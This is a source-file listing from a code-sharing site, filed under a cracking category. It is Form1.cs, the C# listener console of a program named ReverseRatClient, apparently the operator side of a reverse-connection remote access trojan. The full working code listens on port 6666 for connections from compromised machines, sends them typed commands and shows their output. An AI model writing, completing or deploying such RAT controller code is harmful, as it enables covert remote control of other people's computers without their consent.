Form1.cs
上传用户:lu8882009
上传日期:2020-11-25
资源大小:118k
文件大小:4k
源码类别:

破解

开发平台:

Visual C++

  1. //
  2. //Reverse Connection Client Listener by Paul Chin
  3. //August 28, 2007
  4. //
  5. using System;
  6. using System.Collections.Generic;
  7. using System.ComponentModel;
  8. using System.Data;
  9. using System.Drawing;
  10. using System.Text;
  11. using System.Windows.Forms;
  12. using System.Net.Sockets;
  13. using System.IO;            //for Streams
  14. using System.Threading;     //to run commands concurrently
  15. using System.Net;           //for IPEndPoint
  16. namespace ReverseRatClient
  17. {
  18.     public partial class Form1 : Form
  19.     {
  20.         TcpListener tcpListener;
  21.         Socket socketForServer;
  22.         NetworkStream networkStream;
  23.         StreamWriter streamWriter;
  24.         StreamReader streamReader;
  25.         StringBuilder strInput;
  26.         Thread th_StartListen,th_RunClient;
  27.       
  28.         public Form1()
  29.         {
  30.             InitializeComponent();
  31.         }
  32.         
  33.         private void Form1_Shown(object sender, EventArgs e)
  34.         {
  35.             th_StartListen = new Thread(new ThreadStart(StartListen));
  36.             th_StartListen.Start();
  37.             textBox2.Focus();
  38.         }
  39.         private void StartListen()
  40.         {
  41.             tcpListener = new TcpListener(System.Net.IPAddress.Any, 6666);
  42.             tcpListener.Start();
  43.             toolStripStatusLabel1.Text = "Listening on port 6666 ...";
  44.             for (;;)
  45.             {
  46.                 socketForServer = tcpListener.AcceptSocket();
  47.                 IPEndPoint ipend = (IPEndPoint)socketForServer.RemoteEndPoint;
  48.                 toolStripStatusLabel1.Text = "Connection from " + IPAddress.Parse(ipend.Address.ToString());
  49.                 th_RunClient = new Thread(new ThreadStart(RunClient));
  50.                 th_RunClient.Start();
  51.             }
  52.         }
  53.         private void RunClient()
  54.         {
  55.             networkStream = new NetworkStream(socketForServer);
  56.             streamReader = new StreamReader(networkStream);
  57.             streamWriter = new StreamWriter(networkStream);
  58.             
  59.             strInput = new StringBuilder();
  60.             while (true)
  61.             {
  62.                 try
  63.                 {
  64.                     strInput.Append(streamReader.ReadLine());
  65.                     strInput.Append("rn");
  66.                 }
  67.                 catch (Exception err)
  68.                 {
  69.                     Cleanup();
  70.                     break;
  71.                 }
  72.                 Application.DoEvents();
  73.                 DisplayMessage(strInput.ToString());
  74.                 strInput.Remove(0, strInput.Length);
  75.             }
  76.           
  77.             
  78.         }
  79.         private void Cleanup()
  80.         {
  81.             try
  82.             {
  83.                 streamReader.Close();
  84.                 streamWriter.Close();
  85.                 networkStream.Close();
  86.                 socketForServer.Close();
  87.             }
  88.             catch (Exception err) { }
  89.             toolStripStatusLabel1.Text = "Connection Lost";
  90.         }
  91.         
  92.         private delegate void DisplayDelegate(string message);
  93.         private void DisplayMessage(string message)
  94.         {
  95.             if (textBox1.InvokeRequired)
  96.             {
  97.                 Invoke(new DisplayDelegate(DisplayMessage), new object[] { message });
  98.             }
  99.             else
  100.             {
  101.                 textBox1.AppendText(message);
  102.             }
  103.            
  104.         }
  105.         
  106.         private void textBox2_KeyDown(object sender, KeyEventArgs e)
  107.         {
  108.             try
  109.             {
  110.                 if (e.KeyCode == Keys.Enter)
  111.                 {
  112.                     strInput.Append(textBox2.Text.ToString());
  113.                     streamWriter.WriteLine(strInput);
  114.                     streamWriter.Flush();
  115.                     strInput.Remove(0, strInput.Length);
  116.                     if (textBox2.Text == "exit") Cleanup();
  117.                     if (textBox2.Text == "terminate") Cleanup();
  118.                     if (textBox2.Text == "cls") textBox1.Text = "";
  119.                     textBox2.Text = "";
  120.                 }
  121.             }
  122.             catch (Exception err) { }
  123.             
  124.         }
  125.         private void Form1_FormClosing(object sender, FormClosingEventArgs e)
  126.         {
  127.             Cleanup();
  128.             System.Environment.Exit(System.Environment.ExitCode);
  129.         }
  130.        
  131.       
  132.       
  133.     }
  134. }